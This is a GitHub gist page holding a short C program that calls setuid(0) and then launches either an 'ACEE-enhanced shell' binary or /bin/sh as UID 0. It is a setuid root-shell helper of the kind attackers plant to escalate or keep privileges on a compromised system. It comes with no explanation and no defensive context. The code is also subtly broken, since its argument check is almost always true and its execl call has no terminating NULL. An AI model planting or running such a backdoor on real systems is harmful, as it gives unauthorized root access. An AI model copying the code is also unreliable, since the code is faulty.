Created
November 13, 2019 11:52
-
-
Save bigendiansmalls/4eba4bca5ea7c6c7a7743f8c57eb51b8 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <unistd.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/types.h> | |
#include <sys/wait.h> /* for wait */ | |
#include <pwd.h> | |
#include <grp.h> | |
int main (int argc, char** argv) { | |
gid_t newGrp; | |
int shellOnly = 0; | |
char * newv = {0}; | |
if (argc > 1) { | |
if (strcmp(argv[1], "-n") != -1) { | |
shellOnly = 1; | |
} | |
} | |
if (setuid(0) != 0) { | |
perror("Setuid failed, no suid-bit set?"); | |
return 1; | |
} else { | |
if (shellOnly != 1) { | |
printf("Executing ACEE-enhanced shell.\n"); | |
execv("modwshl", argv); | |
} else { | |
printf("Executing UID-0 shell.\n"); | |
execl("/bin/sh", newv); | |
} | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment